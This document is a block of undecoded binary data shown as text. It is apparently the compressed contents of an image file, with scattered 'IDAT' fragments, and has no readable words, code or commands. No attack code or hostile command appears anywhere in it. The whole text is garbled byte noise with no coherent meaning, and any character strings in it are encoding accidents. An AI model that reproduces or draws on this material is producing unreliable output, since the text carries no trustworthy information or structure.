DGڡj	D:QA{rCrMEVQ{'i6Y#ֈfI'8峖<	\9%|u2^Ҭ#"Dp멓 73jC6G+]!9YDfsNP_JV{DIRg79D.?/Y~?lo99߲3j>mǓ2EM+#RO-C-?UHX\(:GAEA]يf;C!brV.bXuf\a8 ϏThx95lC*sikUb͓n^b`1/%^v`*)g	Jl0YW">˷.9^ԍ>F7X?.ԳsX0)]w};!rjъyu@̭J;	7M%wmKԁO1ۺґUR\iiHĞWR,8>uD@WVyguUR]+y|$<K#r8_ڝ	yk]]]un`U}Hɐn;K?\4N_'\ck/TkjyGIl~f;5}ҝ)ç<&LH c%qbͥOHi<D ,8*?q i%"s@YtͳEԗ^D[Qpǿ#xW?s]!|z-QI_l5_CyamhhCX4-n\}8W^Á=0ƻ9'ntC>jJr_wӇj̈u`7ۻS,|sizsKKʗe܄kh]|Cmk<jd0.]sNsvZٓMِbsn$wedUQmns
#8OLld*mu9wͩPZ1&sq1\GE? Z-j/QQ&17>)HgԗȜH=ՓHb?j~cYEЍ6hSs«Ƥ;2Bƿ(OE5_옘{eΒ^-*9'4W](Rx0]W}hvp1|I-_)h*<wU5GhՋ*
?>>;Q+%Iĕ)jp6[ַ/z]RfeB{w{Kڻ #j:O#Z stևMHރ@Ӂ;,^X͚XQ[eb1rl}.\8{ۼ.(Fʌܵ?˧SVA7mr?>UiuIaslq\o_
?yƫC.*Dw?^~~.I-ar߀F`6-W	6W|l*]&ZKWC-Jgk.
;rYL_9:bq{%{C3?	`lVʱ=O|OIryu8CpWZmL1ָsH:BW9
YAǭ(i_K:L[iVg
3f+\pjfd]ȯpl\*;R4|\%k


c9pUǣg.hbYg~cͿ
{DlOi)*1Wt=/wB_-.Vݻ{%_Mn.Xlp$Cs9ăU0$pEX
6Wkr
^qtRdoˆOG8 4R]Q<{5:@j}<~<u	{Bw7G*^ݶWɃokjKuxi|jn~S<$&5/.]bf1L4RUMzRTs[WmRYs72i~N<VK{7VRPZ˗)\L -޺?':_GsO9^x4x*[h
ۿuU\7^|JUǥ_C)[!n91r2
I\v/ķgn|wu{ACV㟒AF8J^8PZ+ʳYt<=q:5a_[kyS[I!+&$>՜g%6g"o}aUȪ/;g*9M2!!}G/KFab	VK$o^V6,}rcZ4G`w#rvGL	w_~D#KS.%ݢ7?OԷDϡߐz_
J!Z #Wc8>j=oAf	ǯ?Pc:Nt~>}@cR[+._1{C'%-9h0|9E9_SG!h樈nT/:jzڝ_	_~D$#?-)d׌3:5`~u Դ祹Q
G$7f	`39gvk!?d۵|t8O]>KZ;:Hb782G?d-]TPb<!Kh0nL6Uc[hobm(8+ׇIxu`?s`kcl61=/׆eZu'Ek<.]_>ȕZ~o.@gP4wtIԪq\^P
ȿ~৿IuR^k<;Ɵ^]p&j
NZߗ懹bxG*N*Fz2UGyb`o{YuܵRnV4.tnpMJ,bL/nsq7euNO<amɞX珬mr85~TJĿ`#;׼JEsKϜhzզ}Cs3)wUu>\zm˽oG$ҽNIXwš?8w1խ;憓k㙏s3?W}\]$i֭={r\Vzq;o{g_m_f^?{y,xtbg-qkͻf+b\÷K1[Y=ߟOLFZ8qrܿ﮿n%R@pՖ~L)_"twxŞHJ.]O}wd![5!o>gnwN	½`.g+xg8OA`]ݐ8
%&:p:9^R?9*RN>t%ǾպtK/F~ݝIʔdJpn?uSݳ;So0^my+rrڥLk;w:GoYn׷Wɻн/)^>eҬ)HwM)I
ҙ}|voWx_g1O%~H-O	jZs]p9)sw֧/~xW]-aI/bi/J'P;KW.L]?a˿l&%qb|RN&W쬧Ns	ZlE94n~dᰲZYEdi3CƗ_2Dꚍ8z+7RHuXE'Sz)]?%ǽU`ܢW}Y0;Ϊo=7U71&LӬ3՘J	i/((+[x#"I
+&U2zIa-b	nx"6G	t}][%26'5ٱ&ombU׬EVyZ:hH.!JڅWp^Oջr2:9-0fÉd~m֐sQ!ɪZCTߖCh&g6@.;6s|󗞺0}(|xϳx'+*Po/ԬI沟J[}giWȬf#uNcw)U$[H)gϮO/X'ę\e4H2;>S}bߩb΄]Jti)6&0_:	34}`E\k{Gq½b9g<<MOv~U3K7nS}k(Փ0{.ND̸}'`duvȣdYws!՞=93syLw&yO+1zO@:9})QvLy/{ź$>WɞٯlОIn6ӏ_L4ydb%R6FW$q'nL=Vn}2<ŗ>
ΞYpPVJ6
ѭ%vjb
V=AϹ$y5g66'6SKYl!D9lI]V+4ؒex*׫`273"p 
̺Pܪ'3,8>Bvcļ)?e\P
*Rp||mpdTsn)Hڲ?"⚝[qJ{ʸ.Y~*k8?j}8;X$f٫؛d4<3K1pNLa;y>V*IJ]`)#W0s	b|Hӟťسw.?[Ħ$BcV=`gQrp&ȍSihw՗<8OKs52	pӗ3w4I/IWbk
L˩jl6>>U54|8;#l߀ǃHc|
#7gG1l*ak%y~\{L2|$*5+׭ճ|y/`.9	ܨ=posB!nUgnk
̬J}{彏6-3"Mt`2Gj|f>k.j՗xp'oѶpapG%qa>gCўUduĆS"ɭ?
`#.)"-q'1_JkU{o<f?{uܿѷ^UMcٿ0tӒAQ
-&A;KzQ}n,f^H:W@oy{q	5&Qѭ$u?AC=j;[c׻@ONiܭEw~,~jWmXg='?XHkApu(SKʌt3S_ǿڛ$V]붖#LE*jWZŐcO`O[#6y{Nm]܊՗|FYXV9?_g}GⓣZ3Wǚ&;x~Θ`ͥ27~"-E2UR?gZ8\_޼~n7_m]9:k8υDƾSOyyR|T#BDe(_dev\暵?Őxk!E9UQ-~vo.!j̓\xctlבӘ8ϯ3[F5:T_X_	,n56՚?0TrM_N]jK
V`',|?xgŚoz,C]a2kOž'85IK\^M]qNHQ)	;^ROj٣yѳp\kV+ք^jҞxg߳-I?#KZykx"5y!չ蠐MFIT1MbaU6*-nķM+pOGH4|d{GO%/rpkmpZ~J\ޑR_p}T_/P<IP7bM^n=`-p\U
#Uh;H@2\Vj%8P:MV0
 RTeQXt˵/=ҪTc-uc	{2BS㳧oS[Ùmz-TvlHGH3֯`|WqiLm[x!Ct}Hd9BIY'yW>ey|aFނD?ʯZFgEw1w-NsZIO6O(+H
֘x
WaNޣw}M4ǦHwi?XQdp!xgè/*9޳@K ۭ~^U=),}RZXuߛ{Ws|~(?}ҳR繟,}=/a5?juzϳ_߿C0|=+Lt"Ek0tW_ֻ
a=&V:SrMmsW=oxrgsǺx<^1??*ӫOW_̭%ݾj+R?$@R,~:֪vn(ɀN?sWKɑy
Y9YUɰPYa ܷXZ!K>ϸ%vU
@+uzsh=ݫH^w{ng˿~&f
}܌GcMr"萳aҚ(wU~Yqϣ=M ~K?5r&¿S `w/g$l]gՓNSµk-*H'LFZiwO=lj@~<>ǵw>ծ@
~q4ºU;w	}c]Bdw򷆵
S[3Ylvq'_>y4)w֮ R&smh9ԧ9U2\iEssMS	9{d,3_1*u	3Phl?42}!"syPW GՉҳQ签O⏐u>4OAVQOR?S-ֶ<zjssڕ?uK@|u]%9T !Z.0-an]\`}?SWT=cߘKx*iFt0vvp.qi-Ҝ{c%Ը?cH⥃vN""=,pwKIH'CvV2c57=.F^ȏb9'?o˨:Հ⊄#:s`/Hp7$b;0L^mߚXq<嵣GꜨzFIsGu⭣Ge;ٿZRb6(4[3?Yl+yn?e#wƗjܗ>9gi$=9+F`#>k,?WR/Q?rCsp\4=
6GE9֩s`#'U%7a.<ˆ0q@ZB#-~(@ULzh3\//;y͡eq7`nyF?9ݺ"\79>P$1G9*%W/oi-!:[9&ۧ)#vq]U:47L8y=?>f+ځ`n>DToG1|VE"8ȁb@2io&qbvsN\ʭI
Gʩ>}2ߛ~=.QtܯйOL5W'
{L
(k~γ^O6	>h7B13O049kNJ&x>J*~C,^j|Y):MBr_?; 3tOpy|V\jK\]9/8=䊸הLЅ4bfմW0~JWWtuqn}^@h4	纏q) ~͟Bg63ϻS'n-`)I~?qRY{@Sl&i:n7f9U۫>ĄGDr;qG5nQ7_bfJ@F[ysw6rࢆ58Im"#|zT^?!>-:;?p|Ͳt8.9Z;g^@gYSKJ2OԖ%7/K1J|M_$-巘`y-'h{;zs<x>|sɊ{M?tf4Ţ-'vvVr\(LF<
Ϻ7W('SK'9<_OVޞ{tNX]`01Q407UfS~gq?S=*Sq<V|A3?cRҲeJEuq.\@EV-}'YNҽ${py' 
znq/i%~2+un@+GZx0<4+؇C_=_ɌH[Q
N]saMϬ{
W+,׿sH[kª\'z{7~P(#\ɱ~nO%9oGӹ4䫨°ӕ<jts'y`5&{_a%	mcsYllޙNSᬾW'|A/W?W5vu.j{~<'йQ&L?ʃŷYwnq#x?Sw8ңLB11vE|NvFckV5@
	ߡAtw_z=~TֿW{W'gz\F
{Uzb`?XֿWGwD%)\<O/w)brVG;%lL5Q잟	NͱҤ#
b[4++u5X>ogT'G$v&=[%fOO\Ӏ v`HjfXz(8kh%`Wקy-}4iAY|gV,?WBL-͟$l8<?^t=?N|#gwGh}
DgNXhEޤ~O|_ϳ*S~ǟy?$|T|\Hm
4÷DO(o}AC4x?4m)ȫX]wS~H; ںW`t?z5	'ZvKgYgՌn:F5-1J%[]870ELzr/oA/ߟ@f}潕>=N_o\TW5ϙFth}ѺО|ٶ6ȃ0un~@ramfjIC0=Sy$ćs'
6`C_8dA=cEo[_)C%.D*#bRP",1lVX	o	ɩ3IyVGszß$g>v~!S+wfA{.*(;!E <g;z@a|"fX3sM6?eP͟ y+1h֦%tb\~{I͹s{:'njĀL9ܗputPBkrtr\?
@"<9!<.
n[ߎ+Wkj30SSk}{L̵k<{bE,R^ 7y#Ğ[2{<Gv~HIF|OlO[c*|i;,K6{Y{o@0"ުcF]$d_ũ췭	R)=?ŽYBXO)C7q/a.<_R; >{=VgG.*?e2NG{o?/G/j4Je}F?)95ݏ|^\keb;m
uF&Y{>|=;k1>;[IsEy	nQzۗ7x!{Abub53lXh'_S\5̟8xM_eҁշV
ڭ~<;>}΃p 

>s'?G/~1x@VvkRU=OhP	#;؜23|Z-|'}R簣Y_k0}/ߜ@7X>AK}d?kξJ+4/9b`+z)O.9#|	]x85jQ|(7мV/|aڡ*Sk}?]x;E{#ۏS7'߁"=/3\|F`'|gLsAeړuxp'6#qz}(:g['H2u5+&::|sĕ\~or@HUzY]Vq~Z:OIR?4OWAT^*<SLj膏&w?<42Y8RSݱO*llW>
Ϗár

)<|ߩoIv=:KR,o'R[Lx?|a;SYZ+R?}N7[Q@Ÿ|U̝*'TPkKL7t<7ѹ|cyݡ2jXC?R3R/[qe"[O늨Cw	\*#V)81z;)G2.dEW^9_u,Cn"';>@`N>?J)-d,g&YlȟBvbG[S*@$++Q~iyZ-kԗשyͤ:y~{s5-X;g/rքZWd}gb]~3f:%V僅7"r{+xv=gY"~ʟD[
'9CﳍG'o[Խ|P8I\}Z7_<#?s.6zbķ%8yk]{b)9=ưVlZ?rj+l~O\zĉu|9/wo~UovM	:ΚX?.t=\JٰupRY)5A7#y}W"Ot#C%mN|ղj<|?^̿Yoڵ,.G1,hU[>6fbF>2ǖ2?ݾz~7FsՇ$Zw	MM]MqJXO8>@}O{3šXqSܴN?h73Gg#Vjrl8g40ϰrX+ۿ
`÷7N?5}Oʬ~
qФgraNpp_q쇟g ^4s;'V/$Iz,y4At^'ߤ!SO7O#?>e(6w6?u|b7k}~3bIEya^`_>9={SK`qz[gHKzŸ3qݤ}ň(lhQ,kΣ~0ܿpA?`Pp2{o"_l9:ȂtbM)ZqQA{M#%AFjXpmc`?'\S&|kbh2:[0}3V_^Rԝ~%N~8^LU
Es~_~Q
<`|0K	qm\>7D-$֞Om{j%C]w?ʰޫ){ŋ&vF>E7tvo!y;}/<pGǸ=ROeV;GZ"JaG$0^]QhPS<PDg'1+uY	">-v@?Z(i=1pe i*86>$=э[_1Ĺ *bkkoS|CJ̲"ƶE3>^@<gNĉwAE'!(,kgLax_Lr5?=M"`hR#t.`(ON o@ޟRd.P9VVU50óY!MO<^Dl}w0y@}+ŪK8@CKX/Q䭄%˟ã~a|P\ŗWr|l/t%-C&/}c,h	}⁍jXD1uu`wbf̚Z̶nbU
zwvVg/SmRtmŋ[Kmb&ҘjYMf~&r/Јh!51qPxIz
C=SXuUog4A}V)ǕlIhzSšO?Z*wfĴTV P+XfaZAu<:8QU`KA}>'ox!!Q>h\<A?HP#po7	0=0惵/m]q:3w8wxV=8ȄXÛמ	fGU_ʽж7+1zN[fVl5u`oPLu6yA608,q;P'1
>ĩ/:%2zJYn]S?}	y;}:KʿgN[ðO>{KrO|zb
k%}}׮S8"V\_
o#[+>y^NNXב8sUg}XtH4iz9s-7=T+HMZuW+u&@Nn>Cfhno*X%yipy~K<z1
Οo
O?˗(F93g8
ge5@~AGFH/a;^mIM]\wF>=mcw[ߐy3
k~2J-\>>օ@[M~!HA2V=/ͤzIg9eySGAK=1=y}Zy51Qǿ#?a߽T&|F7I$5wp\
8|5M!?҃yS 0vgi")#)^O8OQr+b-Ն'Ol~Iȶs.k
?r3xŬyF>xptF!jK/@ޙcB^`\pΣDSųda։=Q]?<'W!{<͚}İb8ݘ!+,x^Z8I/+4`4{,Dۀ@IDATlsN$tBz>.ׇ͇jE<3.K|W?<weFtΎɺg鶒nW;o7a=(l3uȵ>g=][8MM?$~z6Wy>c1X|;qbvlN!7P'K~蟀˟3y2p	1m}?d^_Zg~y
6Ď0<}%AsTA:t):/ t~̥y1EڶJ
6l<K']&Ws>aҭO[HDfoG8[\(%;S4<'z%>Ŗ}U-2z,g
hO_FC
k~+>nR'Q4V>^K;NJf=R)c>k=cv:f 9g6wLy&D.sq,՝t]@RϪ&^ker&`vO/OEn}AK~LVpO<%M3xK.[u3.{%8=u_#1|>*AJkN#QΟ=|ԟxyC7] 
M>Fyɹudjhax$̴,Rc<էOP)s=1ro֢95~P&^UEd|I_c2/SgsO-s/NJy::2Szq`>Mh):QۛC651	>ڿ՗*.Vgͱ2_ ~ԯRzW_[.`Cum[^V֗O|	:4e~X=/cUɽr-3~}ogncw5[wO2?o,ʹ׻<dvU,>ߞgxo=3̙ϣ)S$ϿBx`r*Gg#7rש?N}:SʁxI{4=z7ܿoX&ȍX)boﲑTB2T𻙕<FAl;T
oz'wSMth_>G}
о[iߑ[U1
d^gN\RRGoѓtdDx.>b:5ǩybIz#ug
9qWl%=^?>UY;Y~O.~.)}Sl{6>X{?g跓RBow4&ߔXmv:	jzn`~?_F+~<5W?~f&jm+ZOvl-90뫿]}m+O#]'h~'isgu[__^⽫ZtMb)ϡGe_w*x־Vj|Ǐ@_cg܎8+"{NUsNG"kl|V>#:zsn;^xEIֿkG#]?l7}qs[7TO{_g7?ܿ~>cy:5j<Q zc&
ڙq8jH?ֽ[TwD13.|&uVM;gwfbc9eLK~AP\sjl}_1	X@O/~)I>ŵ0m}KDSQ>c?_)[Q&L&k@99P{x/&6~><63g燶t;hJ6=CW{q*5?P6F8C{/_2f_`38)0>Z\
o~c٤~)a_K[?p&a)~Stt|7lH:뽔v0h])Khu?ܕV<ޢܧIr6<|:fgڃ5>>MH"!J7&<[|z\o?2#@<q_9Onh>S&>>Ͻ~=Sg
X>_B?<iLuD_^Aʧa
D<g&~Ӿ){bF9՟+O
`2_g
]1Y؟>Cwjzc5hñλ|;5
w^%z|:3Td׾Fޱ*z+`Н}Wܟds6qXiJ^#pb	߂C+_#z>$3ԶM])qXP{Jɷo7?x;'Zc׻~d1wvG{"p;zªmx=5GA'`tYZuԗ'ybz`
9KOy?`Ϛw=5Fp;Ѡ9+)JP$<sB>]P|6J]O}wժw%io7&'z-J
~#Kͧ^4ߵ1kcu
Y߇'Qvqh-~u/
&8^14woLtzћw9{`)gb
Lˆ~a`YoJZ6:r ޽/
xzw::l}Q]=DS?FPSt-9S
UwW+|3?#
@>F@||ؖW!A}SMmsZ?ϲ;oq|prnŵ"ݖ33"(~9k>Oj>7O<9Խ+k=hEjxg~z}+t_PJ{gẅ}EJ/NgEP~Dgs=l&dJVߥ	3N?Iw lAZ2(7Cn°džk;>ۇwPy<)4^eߚj3@d~^ܛ0@,Y̟l;e95c̐nmЦ[W@|x
`6eۆxz=eH~:w6
yr2_@t_W#3o#ZoE(kD4|S~}\asO륿;U
c$:#اWFa$}2WSW3ֳo	խFIDypǓ
xJ2#JrsTeOPAbch3Qv'R+}؏1Kx~f݈D̃3\WaěK߄g^ߩ
lҟK؋ v';R.o{l7lkuv@ƚ'orVO0ׅTO~ŏ@}thS|t-J'WT)WMxի+M
nVt8I	xL=&s(_a,}/0T@bڗFr.'3O2ȳj,#Ĩ6Wj:/qȉ'fĦw,0'\qW;c(&wG^TΗʿW]ס>sl_gc_lq:㜻I3*orz?_ʳʹVކ9u
ݯ'w#2k}Y\'u7gHg
07E=M[搳Szy+AFֹVXgI9،~2/p?ah{ʣ`11?1HV1ѹ^"JjJ%L^÷i.)O3a1.X`WSԳS0M}6x2?Kj8kQdmu{Db?cUh߳]`	ɥ]'8|,@uV|87L\I*1[LOcW#|>-P=aƻwjfR>
RCQҳ)
Ȭ㟼-uH[gԙu_Kʱ|~ML{Ծdѐ,ֵPМC?YtO57!M3pH%Kt)z}W7S[-CTۣ1:96!鱼G^g
yti
HkZ?`S6oߤ隤1muJZ'VzCZ?+ :ĵ:s(tuZӂSuz<P"*~[QZb~5XTy_Qx5`k r;{<ߙ~ګRt*fKŲxDWқ@gu+w;@[:v%1{yq^3o]˷P<z﷌KQwo
oe4X~} "=~(ĦK3V:?k(Bɠ{g/E[ג?'u
6w6%%=#fF6͏hB3"+o]udF`1wT<>16""^=~}s7sY;+^kY?f%?XEiн6p>;&C>ݸ=*%Ԥ'_I>wٕ^O'w%s׍+H>\۟?'s:߰|sXOc呧__{*vg=N>vyƹ&`=>{aU5d6:?-Vk]hL38%}B@kpK5Y=Q3UKƃk$^ݳ{q/.ǫ|s)2+O7cTyewK/&P˚
.#PY G9!~czSg"3H8|)Z׹<y-@V1a\w];[ٿ{oR	tվKN|ޞا/o .>!҉7EqaOs5I ͭUv3N/Ng{7Q)l
~uX2O𩯸zxXǘ[*bTϻm#<흐m5dB2=KlIr6b}Hg=MHy}J}vgᓛ(kDR"'YH}_)@;=':L~wJ<isD_?qHA|#Osw}.gYя
r{2c_F/ޓhf0QK@A]U؊OPX[{\	@?VqLJwouzO#1L^SBwLpQ|`?T?eTITC`G#L
?z-}rx>UWS<,ߺ_p63"1%vvZ1OF13(O(z}X~QX*ݕGs+XVy$0?ԃ Pa8<>#?7۪_fk"OwiܶZOUd+#/I{G)j۳2`Yv/T}~ﻘbT֓cLR4
qlPa;z>3vh`Nym\,`fUK`kO|a^cΤk[qdwJ;glY+߾Oߓz\;)_巆ֿZP~眵}21(&]N<4ޘ:鬿;'`nzڼO0>V8u|[Oؤ:NͿ@q]>+˹YUɎiߧό;{F+;*ɶ3NqM[(^
F|a."5\3y
q?#.
}u193b@˴o`+TS?:]i`wHR%Q_}z2k|3|z|'g6ev6c]ӼG{f~ul3!rlxh?ʳw~A!Ϛ^ŝoZ+JClǩC͸ccs~yr]}."@<㳋ՐnfS;zVjf\%i<)ޘ\On֘1]!̢>(>c	λK"(f%HUzj~ NU2?7}9nNdwo"S0^&ŻOL`qpK\=x_a%X~=i~XгN~8wf`ʒ])Ts109:b~j>lu0|΃({4,࡚n~D!GPS?4[#&O}>z
ڈo{GC6ݍg+^-ÊW>3Ԏ)~/]WtOEz'"72<ĔQ֟"lG,ZjI?}:hĦ6|<ROS?SS,o^M4?x\aa=x$b49eog6
|99\Zkg~/	3QWs&oV>E7
S<|":%({Ba~kigEOܧc"lϽW%l+0TOזWZn^(^/y
}0^Qf̏Gql<'Ycd~a#uأYw,q:At.vEmU&]ϙzsSy}vWA#{:0n(WC[|6?'4/p=\\zlxe~SR;1Ѿ>9/wFӕ\enu
CEWQэo1XiD78DdƆI@D\wsd+?w}rshŰv+\{8h3hS =s	.15mRe3HG=9o7=@	[m>8:,Gz-y끴	1kB=П}	iG'?6)Uu>|<Ώx{-E?HR#q(QRv8FZ^[3~e9
:ܻ~?FbsvM׼"M`ۋ,k/
I<0_Mκ60ڷz/,	.@KYx6@/Օw3ſ]}Iѳo΀&#ߟvk~T'u⸳a|*
09aĮx9|@<c
У|W~iY`F4Wjھ^:18NB{io^˱Uh|*5m*aPuި;pC?z=54AR)W՞=Շs@YD]6cȋip>MP}hODZ2%u_[	^c6O4a}R$wf@2 ߁$G_3tƠ{cN@z'nWOsx	sgFVDWRj;>S^WOtK(O*h
4D+{Po:
F{yr`foIDz;fRmPW^[i~x6`'kwl+yz}hN[mixyPJVl_zFKKCDgK6${k{OtgcyY%#|JSKk_yp|3MSƞ^szxJjM Zիɤ&)kM<g9D%r~Od؊O(W߫O[w5j:'^i^e6(Tq<A뽗ID*nLۏrp*|qߏJl/cbm{?\wZnIPj}|5V1_Sg])f+-[g|hzyts+/whpSyGi|}+֣f([j__VIyx{T6-Vk<S^8N#ǾB|ƫrKFɬoKQאh;YYQ!8	~YtQŧs$@$^knސTsGlﭜLN~k+lGYgŏVN?\p@߲Ӎk]:N*Aq;4| L,mz^-_e. ^]
̿W9'-gϽbvq⋼7_le_)kDh3)V\e!&[xKʜW`}{=w[}ao	^S3,	i`ge2g|mR^ĝ½?Yd~Wٮ`{kzb6HgovwI_/OW43bgc~yךGi2|Mc OڸR@5-(in/:o_+]>yց9GhkǨӒ{mrg$ '5Z؄^/aN&DsA#Y;QN	A@A~̺@NHgR宺=0<R{L]HUb
=Lr]ϲ@9wH֡o
hy4ٷԏGc™Aȸ9SBEQ
qrdb,L!z;?GKa}x&YlVԼg}kMq?ZB'& R21
6F>C_6!jjɚgd5-%	O1՚~?{8g
gk8i~|?s^w?:xF5"{=QGV`['ʦ1ՇS9gG<Z
xwW~jQW,Ţla/a^z*W#ѫf
|dZiV3)h>[5ʊGY0=3ݟ>_MP@?ĉ!Y{ձ\ϑDl/ҢglPWc~ &lb>]3rS~ȩfwoKP<k/'gku&qD=~̈=Tן}W"WȚo_)`W=j.Vx{7gM}Ry|toҵ"Qɳ(_+Ӥ9gw}ևG>/屮l+ҧK
?w}Ϊf̺8?ZWߟ׽O뤢ziO}3g_%S9=wXvM`~qYM#T^fg1Ax4>L@h?}+X|AFm~yVH&2L3i8?KLo؜Y|ZxoxxYl|Z*{~
=\hXv5\(Df`	W"3&TQgi!dzk
I%߆*
ȫGV?~$׆{ux\S<.5t
?:;<"{ Ԟz$%B(F񳛩?6:GrfU!5Էa3`cI+[
>;?RU4`5kca;W',Sv	}=㵾t.\s\D~Mvܨ5(h}31OgB\'0
i57_8< ">:SK~x揺%5ެٟOקv	>~V9}H$ж.40RyFOh՗9k:HySvd߲|]V')Kgg}tP'2nJy?8fK`+h}ݩWWow}7bZf*|˗7澾?n*G1sTV:p_Eĥ~=huZʕezr'ц[ۧO/d LGYml_LU0_ GF5{O9'p(>X;Fς͔:}ݗߩ't,
省EѼ.ЄS[˱z<RxLX1!:[v'>}a7!?W;1۱_tNEuy}O^i&7v&Q>H{ou_2(7}Zo|jZָhpzQ1څ29I3}(t9	_(c%/זr!|#/;shҽo*;aͽ5|hxKՋ"I>Mg~l`<w32|?3陥5lcppEkk7G&8fsG_lpr'ßG:5908?UǜIB1>fO3/^ۈgm>Bz{/Oo3BA:v7fZg\qqgNXl>qv̑ߨ6SxHX2&똯\GاUy%;a{	ToGW? NJc~a1'ԯB|X_|AXuXmLO%xgj5DvpTu!2S˘3MGU͠ç9&+u|2S=u."\M^"g<	x4{Љad9hg1
Np#{}2Tb	%WE~ߙ?f[Ζ.$?L(/o	/;9AbLj6x3Q[9:U܉gF5zFԿgA<u.g{w˨/MDzwmSlztN#e%_7pcGMa?s'Hԡ+O`<wnKWi-lSM܃߷xi=}a鈦=g}S=C[΅zz3÷V
{[5⿸
,P}Ew=pU_`
0?~+y0~gJڣp
=f
Un)>SSFxxk56a^ joθi
>`M:mۼx4ןo
~_侼dž=Sgc2AE;Z]̊k[;52Dw.~=(>Om*TG儥DO<Iup9]OUeDU~__Y頏<z=^3N.ߐbO΃vK7o^=gTL~1/3y|ƂxZOz~օ~!yn{;j;XM)O'
ÿ5^-<ю$< aV(TًutS~א7
ϫ<L'<jR7TvY{$oۓ
X%m+QAdT/kg3*zW>=Zm$Rxtk{o9Z:HL+٭GKRvmNTGϳ_2оsN[JHb>|Xk]:5~<5V6`,ϣ\Ru}tsGv+!vx޹ke
xpzwVj.{koBg?'l+XRW'XAٛ?j$sEt"-ߙ^PpY?*X|Hj͙:
[VgѺ],IGX[Y^v@>}0_Vf،=bC[>eʎ8Q'.)@gp
_šS;{Z^tVMO$\qk/.VS_3CY{H^ʊ/>xu6qVħ\8!NM]<s_*mő`<9Dވ	T{
N9͓f
Rz>Zgp[
ʿ|*)#npq.ecVI$zYX;{]}avJ'>~]gz`>g{or:gD[sRq0sΚ9u+C0WVYHC?

D5t*MzHS#GJ3O+oe8z1ӿlW<Ž{iAx:Kg֩S]X|^ȚqX$;E
 `[/هŎmz@OL;pݧχmIx
?闬rolůT^ϙX}
'#:5; RŁD~ߙˣfOul8$N%<E'އTmMqg/p뎈teonrܔ}[gb9n
RͻuJ~7xL>Q<Ou\1T;PƔ=w*rm̉m-pȿ}x$K!)1w(yXzwiB2~րbw.>=Z!bM?<
ֿw島ʼniu`^jYF8Ckb9P#v-[eqlE9 yr3
ڭ]|C5tg*'Z|Գv]	] 7)wMH#q~і
x	RAly|`[G7T"qt|ٟ#w.Stw?{juZʷAEŎ!'f-	b@Fpy7~cGΣ'f
yj|`5Ƅy6szTy̗z6))4n'Ik뵯_YקDuqu|.g,rvU(_ψq葸?c s.ZI]!<g(Y
]h77"vo>I=/ImlpB.OxajMx5wͿM5>}{d
4bš?WY{u6V=TJow!~(YrtKIɣy,sKtO끹ݗ[%3G3Y}NbڷRI;Im>إ?KEia=Bs?8IOO?bzgҲ0ߤ)k0e05&;Q f֮OF>|
4VIa)<Ko/ %yN@jjXq/*O
uW̨6Q{"qo,]%{02o
j
/iIK]j-PvyBTσ:7WEA@k~gWA[}łpO~7޵Lq6=)O|nz[\gϷ!?аÏtGCK>!X[X=|$4~Xyֻǧӑek_,Ï\[q'ܿz1\ʀW>3gGKRB`wڏ/T!Y}7k*o/i{f+ob:~KYǴ{B9tJA7i=ziPTm8aU
ЄGڦߟ ҎpX}"y7z~samt/τl2	oV"K,9{;ΆhQwTl^l'
l}	\-Q_:_4_Znm6SڎM̈́p7?:xLr/O6\x~"'ItF0ƒ~&pqv_o5= #$oQToQwϐlkŗʩO/C֙?բ/@NŗةOVfR_{3!Đ	 !{a{;;i'ktFCCl'?̖qyz6[ή.yarSZ6zގϥɸ</ݙO}`ώYh>e}xVnl[J/׹\k;sB&[(ÙZY$u.wY#_5z0GuQ}fs~W
b'g"ո/!@KʼnCA=.騮E%|ߢlh(՞یpGHk?/h9Mzv9=gFCIM6xwVA_
q«򽳨ӾrN${FQnNTDn3I>0)ds77?\`aW;}"K@lZ߿x98U`pdo+`: ?`'u7vޟ<lcf< <זH8<x#7?}XFB7?QK.rmp[6|H;`RĞ<+~.O8?(%Y/z
|G?wgŒcG_]^7+Tz?<Ү仂u-|o$/w.>Nui}@IDAT#ƾŵҭܻ6N&[
=먦G+ַ4 h-A?

>=𻔈^[puv?O*9O>(Oy&zþPjoFlRk`8:{~=guT ytg7G(N<3	"<tOw)8m^)ĖDa	sk*w>Hۿ+ADjA߹ ˄)3*کA}ደ]"z1xf	ߚKW=%ܺƓۂ+=3wR4b^Oac9,k[Uw><9.Ý?\1[>"ٓ3?c&Njc4~ooE-	篪gv~zM3O!0?zv>ڛRs>qQH=9?>|'t~)?"4Gt	 aO`^ ן3{T
ҋ1(KGa:EL?i>fvԿ$M`Lo#=H2&Cr	^6ϊ<OdOO N.
l+-n'cئ8
UT6O&E]]хչ]>6J"Og]w;mo濘w7]9'w1>um}5?߿.8D*[C%u؅JPݩ;={bOf9U>|RLlܵ܋ocVl9pxV<?f+I+_"\eos@~@FNJ`?|ϐj,iNTW(,?A>Rgh\|s	v{w9\`Oy٤כO}}W|tc.]>Ϛ棖=ޮo#`]aySpxatb<WAsρhjSٯg0	YGsO|u1w;/ʸ-&Od©'m
[DFe|0Cѱ'#41lLǁMj`GLO'eWl8opޘܟ]ʷ?V?կjcXÝ8pˇg/ݍ:?:kU9C}yol689>?$r,[TX@tK!=<9魽&$82S?iϙ_>zV]P{Vttol ϮO-
STΓ},d|ϾCH:~93c948/~#>^u t<
=$GsN;H>`0J
Z-#~?:O''.OZcOR<SS`8dźU4[q
0!ɢW<I=;i?Wz<gw<?~op4KKi-j~(\|p@Opް&@z^%[Y]{;hσ?sy;l/
;}<2n$Ǟ9R'?Љ.)&3HOV-
'%v@\9PК1`N.W{ܟ\;`|ħ?71f-hmZ8+]>	j+	Tl}OXSL/)՟|=R<POb-8"FuQu{<BIRyV`
\b˷	iv灁Y~I;Y͗Zec#@`'L?#ig?>Qޒ]"~'} qT5ajp5[_g(lD*$)l{!~:y9P_a'(9XC=[hW$d
ϧ}df>HM
_':p:ZM~
$^+yR7{fh?-ʋ8J#=Xg!^x{כ}
k=/-Hڄ	Ѿq6@}t /.ȸR!H\a7>Yخ1verLiuA3m8	zo(1 qkd7E!
d`x2[~FנW L3B3pw)׊0@_Q{<T
ٚ_)i:Q&z@;~Y@<w,m1fdyE1w#MkZbܓpg:Gߙt}&X[Dngc庌^=?EW`ZBuwXBM߯Ep܉+Go=4*ߘ{O'(dLxF#qPk;rW'<x׊9)ɻIJO!~&к+*ĖN7buHקrm:ߩom(Hꬰb!ɓ>8,T,Z)1)y쑲DKB7t$NBt=
c!g~E2Zu{2kf+HrkOz'SH32↟}?j!88)ןئth3ԿR5?A36 U܏1z$8	Sƫ=Sv;{X-0tLw 'rWi-1OXKOX92w
